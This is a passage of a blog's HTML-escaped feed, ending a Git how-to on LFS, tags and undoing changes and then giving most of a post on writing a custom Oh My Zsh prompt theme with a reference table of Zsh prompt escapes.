variable&#34;&gt;-m&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;Track PSD assets with Git LFS&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; lfs ls-files&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;git lfs track&lt;/code&gt;  writes the rule to  &lt;code&gt;.gitattributes&lt;/code&gt; . Commit that file so collaborators use the same rules. Check  &lt;code&gt;git lfs ls-files&lt;/code&gt;  to confirm the files are managed by LFS. Collaborators need Git LFS too. If a checkout contains only pointer text, run  &lt;code&gt;git lfs pull&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;Adding a tracking rule doesn’t shrink existing history. Migrating old binaries rewrites commits: back up, define the scope and coordinate with collaborators before doing so. Check the account’s storage and download allowances as well.&lt;/p&gt;
&lt;span id=&#34;标记版本&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;tagging-a-version&#34; data-section=&#34;标记版本&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#tagging-a-version&#34;&gt;#&lt;/a&gt; Tagging a version&lt;/h2&gt;
&lt;p&gt;After confirming the exact release commit, create and push an annotated tag:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; tag &lt;span class=&#34;token parameter variable&#34;&gt;-a&lt;/span&gt; v1.0.0 &lt;span class=&#34;token parameter variable&#34;&gt;-m&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;Release v1.0.0&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; push origin v1.0.0&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;A GitHub Release builds on a tag with release notes and downloadable assets. Document visible changes, fixes and upgrade requirements. Attach built installers separately; an automatically generated source archive isn’t the compiled application.&lt;/p&gt;
&lt;span id=&#34;撤销改动&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;undoing-changes&#34; data-section=&#34;撤销改动&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#undoing-changes&#34;&gt;#&lt;/a&gt; Undoing changes&lt;/h2&gt;
&lt;p&gt;Run  &lt;code&gt;git status&lt;/code&gt;  and  &lt;code&gt;git diff&lt;/code&gt;  first to see which changes you want to keep.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reselect staged changes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git restore --staged path/to/file&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Keeps working-tree edits.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discard unwanted unstaged changes to a tracked file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git restore path/to/file&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Restores the index version and discards those edits.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reorganise the most recent unshared commit&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git reset --soft HEAD~1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes the commit from the branch tip while retaining staged changes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Undo an ordinary commit on a shared branch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git revert COMMIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Adds an inverse commit and preserves history.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The default mixed reset also resets the index but keeps working-tree changes. A hard reset overwrites affected working-tree changes too. Reverts can conflict; reverting a merge requires deciding which parent is the mainline. Fixes and reversions on public branches can go through the same branch, PR and check process.&lt;/p&gt;
</content>
        <updated>2026-05-21T13:27:18.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/development-environment/customising-my-zsh-prompt/</id>
        <title>Customising My Zsh Prompt</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/development-environment/customising-my-zsh-prompt/"/>
        <content type="html">&lt;p&gt;&lt;a href=&#34;https://ohmyz.sh/&#34;&gt;Oh My Zsh&lt;/a&gt; manages Zsh configuration and comes with themes, plugins and some handy defaults. I originally picked Zsh and Oh My Zsh because I wanted a better-looking terminal. I tried a lot of the bundled themes. Most were too busy for my taste, and the simpler ones weren’t quite what I wanted either. Eventually I wrote my own.&lt;/p&gt;
&lt;p&gt;Here’s the theme I use, how the prompt works and which plugins I’ve kept.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;当前效果&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;my-current-prompt&#34; data-section=&#34;当前效果&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#my-current-prompt&#34;&gt;#&lt;/a&gt; My current prompt&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753525/Typora/2026/10/23/zsh-baseline-clean.png&#34; alt=&#34;Current directory, Git branch and exit-status prompt&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The theme itself is six lines:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[cyan]%&amp;#125;%c%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$reset_color&lt;/span&gt;%&amp;#125;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;+=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39; $(git_prompt_info)%(?:%&amp;#123;$fg_bold[green]%&amp;#125;%1&amp;#123;%&amp;#125; :%&amp;#123;$fg_bold[red]%&amp;#125;%1&amp;#123;%&amp;#125; )&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;ZSH_THEME_GIT_PROMPT_PREFIX&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg_bold&lt;/span&gt;[blue]%&amp;#125;git:(%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[red]%&amp;#125;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;ZSH_THEME_GIT_PROMPT_SUFFIX&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$reset_color&lt;/span&gt;%&amp;#125; &#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;ZSH_THEME_GIT_PROMPT_DIRTY&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[blue]%&amp;#125;)&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;ZSH_THEME_GIT_PROMPT_CLEAN&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[blue]%&amp;#125;)&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The first line shows the final directory component. The second adds the Git information and status symbol. The last four set the Git prefix, suffix, and indicators for clean and modified working trees. I deliberately gave DIRTY and CLEAN the same value. The base theme shows the branch without distinguishing local changes.&lt;/p&gt;
&lt;span id=&#34;配置自定义主题&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;installing-a-custom-theme&#34; data-section=&#34;配置自定义主题&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#installing-a-custom-theme&#34;&gt;#&lt;/a&gt; Installing a custom theme&lt;/h2&gt;
&lt;p&gt;Oh My Zsh’s &lt;a href=&#34;https://github.com/ohmyzsh/ohmyzsh/wiki/Customization&#34;&gt;customisation conventions&lt;/a&gt; support themes under  &lt;code&gt;$ZSH_CUSTOM/themes&lt;/code&gt; . With the default installation, that’s  &lt;code&gt;~/.oh-my-zsh/custom/themes&lt;/code&gt; . Keeping a separate  &lt;code&gt;.zsh-theme&lt;/code&gt;  file makes it easy to find and edit later.&lt;/p&gt;
&lt;p&gt;Create the directory, respecting a custom value of  &lt;code&gt;ZSH_CUSTOM&lt;/code&gt;  if you have one:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;mkdir&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-p&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;&lt;span class=&#34;token variable&#34;&gt;$&amp;#123;ZSH_CUSTOM&lt;span class=&#34;token operator&#34;&gt;:-&lt;/span&gt;$HOME&lt;span class=&#34;token operator&#34;&gt;/&lt;/span&gt;.oh-my-zsh&lt;span class=&#34;token operator&#34;&gt;/&lt;/span&gt;custom&amp;#125;&lt;/span&gt;/themes&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Save the six lines as  &lt;code&gt;sycamore-simple.zsh-theme&lt;/code&gt; , then edit the existing  &lt;code&gt;ZSH_THEME&lt;/code&gt;  setting in  &lt;code&gt;~/.zshrc&lt;/code&gt; . Omit the filename extension:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753544/Typora/2026/10/23/zsh-theme-config-clean.png&#34; alt=&#34;Selecting my custom theme in .zshrc&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Put it before  &lt;code&gt;source $ZSH/oh-my-zsh.sh&lt;/code&gt;  so it’s in place at initialisation. Open a new terminal to check the result.&lt;/p&gt;
&lt;span id=&#34;主题配置详解&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;understanding-the-configuration&#34; data-section=&#34;主题配置详解&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#understanding-the-configuration&#34;&gt;#&lt;/a&gt; Understanding the configuration&lt;/h2&gt;
&lt;p&gt;If you’d rather start with a few examples, skip to &lt;a href=&#34;#common-variations&#34;&gt;common variations&lt;/a&gt; and come back when you want to change a particular detail.&lt;/p&gt;
&lt;span id=&#34;谁负责显示&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;what-controls-the-prompt&#34; data-section=&#34;谁负责显示&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-controls-the-prompt&#34;&gt;#&lt;/a&gt; What controls the prompt?&lt;/h3&gt;
&lt;p&gt;Oh My Zsh uses  &lt;code&gt;ZSH_THEME&lt;/code&gt;  to find the file and supplies helpers such as  &lt;code&gt;git_prompt_info&lt;/code&gt; . Zsh variables and prompt expansion determine what gets drawn.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;When it appears&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PROMPT&lt;/code&gt;  /  &lt;code&gt;PS1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Main prompt waiting for input. Both names refer to the same parameter.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPROMPT&lt;/code&gt;  /  &lt;code&gt;RPS1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Right-hand prompt while editing a command.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PS2&lt;/code&gt;  /  &lt;code&gt;PROMPT2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Continuation prompt for unfinished input, such as a quote or loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPS2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Right-hand continuation prompt.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PS3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Selection prompt in a select loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PS4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Prefix on execution trace lines.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Most themes concentrate on the first two. Here are examples for continuation, selection and debugging:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;&lt;span class=&#34;token environment constant&#34;&gt;PS2&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;%_&gt; &#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;&lt;span class=&#34;token environment constant&#34;&gt;PS3&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;请选择编号：&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;&lt;span class=&#34;token environment constant&#34;&gt;PS4&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;+%N:%i&gt; &#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;In PS2,  &lt;code&gt;%_&lt;/code&gt;  names the unfinished shell construct; if you see this prompt after Return, the command needs more input. PS3 affects select menus. In PS4,  &lt;code&gt;%N&lt;/code&gt;  and  &lt;code&gt;%i&lt;/code&gt;  show the script or function name and line number. Use  &lt;code&gt;set -x&lt;/code&gt;  to start tracing and  &lt;code&gt;set +x&lt;/code&gt;  when finished.&lt;/p&gt;
&lt;span id=&#34;提示符的可配置内容&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;prompt-expansion-reference&#34; data-section=&#34;提示符的可配置内容&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#prompt-expansion-reference&#34;&gt;#&lt;/a&gt; Prompt expansion reference&lt;/h3&gt;
&lt;p&gt;Zsh expands percent sequences when displaying the prompt. This is a selection from the &lt;a href=&#34;https://zsh.sourceforge.io/Doc/Release/Prompt-Expansion.html&#34;&gt;prompt expansion manual&lt;/a&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Sequences&lt;/th&gt;
&lt;th&gt;Display&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Directory&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Last component, with home abbreviation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%~&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full path with home or named-directory substitutions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%/&lt;/code&gt; ,  &lt;code&gt;%d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full path without home abbreviation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%n&lt;/code&gt; ,  &lt;code&gt;%m&lt;/code&gt; ,  &lt;code&gt;%M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Username, short hostname, full hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Terminal&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%l&lt;/code&gt; ,  &lt;code&gt;%y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Terminal name with different prefix handling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Status&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%?&lt;/code&gt; ,  &lt;code&gt;%j&lt;/code&gt; ,  &lt;code&gt;%L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exit status, job count, shell nesting level&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%#&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hash for a privileged shell, percent otherwise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;History&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%h&lt;/code&gt; ,  &lt;code&gt;%!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;History event number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%T&lt;/code&gt; ,  &lt;code&gt;%*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;24-hour time without or with seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Date&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%D{%Y-%m-%d}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Formatted date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Colour&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%F{cyan}&lt;/code&gt;  /  &lt;code&gt;%f&lt;/code&gt; ,  &lt;code&gt;%K{black}&lt;/code&gt;  /  &lt;code&gt;%k&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set/reset foreground and background&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Style&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%B&lt;/code&gt;  /  &lt;code&gt;%b&lt;/code&gt; ,  &lt;code&gt;%U&lt;/code&gt;  /  &lt;code&gt;%u&lt;/code&gt; ,  &lt;code&gt;%S&lt;/code&gt;  /  &lt;code&gt;%s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start/end bold, underline or standout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Literals&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%%&lt;/code&gt; ,  &lt;code&gt;%)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Percent sign or closing parenthesis&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A number before a directory escape limits the component count:  &lt;code&gt;%2~&lt;/code&gt;  keeps the last two, useful if you want the project name without filling the line. The  &lt;code&gt;PS2&lt;/code&gt;  and  &lt;code&gt;PS4&lt;/code&gt;  examples above show how to use  &lt;code&gt;%_&lt;/code&gt; ,  &lt;code&gt;%N&lt;/code&gt;  and  &lt;code&gt;%i&lt;/code&gt; . Related debugging escapes include  &lt;code&gt;%^&lt;/code&gt;  for unfinished constructs in reverse order,  &lt;code&gt;%x&lt;/code&gt;  and  &lt;code&gt;%I&lt;/code&gt;  for the defining file and line, and  &lt;code&gt;%e&lt;/code&gt;  for evaluation depth.&lt;/p&gt;
&lt;p&gt;For a two-line prompt put a literal newline in the string or concatenate  &lt;code&gt;$&#39;\n&#39;&lt;/code&gt; . In ordinary single quotes, backslash-n remains two characters.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%t&lt;/code&gt; ,  &lt;code&gt;%@&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;12-hour time with am/pm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%D&lt;/code&gt; ,  &lt;code&gt;%w&lt;/code&gt; ,  &lt;code&gt;%W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Two-digit year-month-day, abbreviated weekday and day, or month/day/two-digit year&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%D{format}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A strftime-style format, e.g.  &lt;code&gt;%Y&lt;/code&gt; ,  &lt;code&gt;%m&lt;/code&gt; ,  &lt;code&gt;%d&lt;/code&gt; ,  &lt;code&gt;%H:%M:%S&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The codes inside date braces have their own meanings. Zsh adds unpadded day ( &lt;code&gt;%f&lt;/code&gt; ), 24-hour ( &lt;code&gt;%K&lt;/code&gt; ) and 12-hour ( &lt;code&gt;%L&lt;/code&gt; ) fields. Fractional seconds use  &lt;code&gt;%.&lt;/code&gt; ;  &lt;code&gt;%6.&lt;/code&gt;  requests six digits,  &lt;code&gt;%9.&lt;/code&gt;  or  &lt;code&gt;%N&lt;/code&gt;  nine. Actual precision depends on the clock. Forms such as  &lt;code&gt;%-d&lt;/code&gt;  suppress padding. Other extensions depend on the system.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%E&lt;/code&gt;  clears from the cursor to the end of the line.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%{...%}&lt;/code&gt;  encloses nonprinting sequences such as colour codes so they don’t count towards prompt width. Keep ordinary text outside this wrapper.&lt;/li&gt;
&lt;li&gt;Inside such a sequence,  &lt;code&gt;%G&lt;/code&gt;  accounts for one visible character cell and  &lt;code&gt;%2G&lt;/code&gt;  for two.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The older  &lt;code&gt;%c&lt;/code&gt;  and  &lt;code&gt;%.&lt;/code&gt;  show the final directory component, and  &lt;code&gt;%C&lt;/code&gt;  does the same without abbreviating home as  &lt;code&gt;~&lt;/code&gt; . The manual deprecates the older directory forms  &lt;code&gt;%c&lt;/code&gt;  and  &lt;code&gt;%.&lt;/code&gt;  in favour of  &lt;code&gt;%1~&lt;/code&gt; , and  &lt;code&gt;%C&lt;/code&gt;  in favour of  &lt;code&gt;%1/&lt;/code&gt; . I kept  &lt;code&gt;%c&lt;/code&gt;  above to show my actual theme.&lt;/p&gt;
&lt;p&gt;A function can compute values first and leave formatting to the prompt using the  &lt;code&gt;psvar&lt;/code&gt;  array.  &lt;code&gt;%v&lt;/code&gt;  selects the first item,  &lt;code&gt;%2v&lt;/code&gt;  the second; negative indices count from the end. With  &lt;code&gt;psvar=(demo)&lt;/code&gt; ,  &lt;code&gt;%v&lt;/code&gt;  displays demo.&lt;/p&gt;
&lt;span id=&#34;根据条件改变显示内容&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;conditional-output&#34; data-section=&#34;根据条件改变显示内容&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#conditional-output&#34;&gt;#&lt;/a&gt; Conditional output&lt;/h3&gt;
&lt;p&gt;The second line of my theme uses  &lt;code&gt;%(?:success:failure)&lt;/code&gt;  to change the final symbol between green and red according to the previous exit status. Add  &lt;code&gt;%?&lt;/code&gt;  to display the numeric status itself.&lt;/p&gt;
&lt;p&gt;The question mark selects the test. The two colons separate test, true branch and false branch. Both can instead be dots, as in  &lt;code&gt;%(?.success.failure)&lt;/code&gt; . In the general form  &lt;code&gt;%(test.true.false)&lt;/code&gt; , the comparison value &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; can appear before or after the opening parenthesis; it defaults to zero.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;True when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The shell has privileges.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#&lt;/code&gt; ,  &lt;code&gt;g&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Effective user or group ID equals n.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Previous exit status equals n.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;_&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;At least n shell constructs are open.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt; ,  &lt;code&gt;C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The absolute path has at least n components; root counts as zero.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
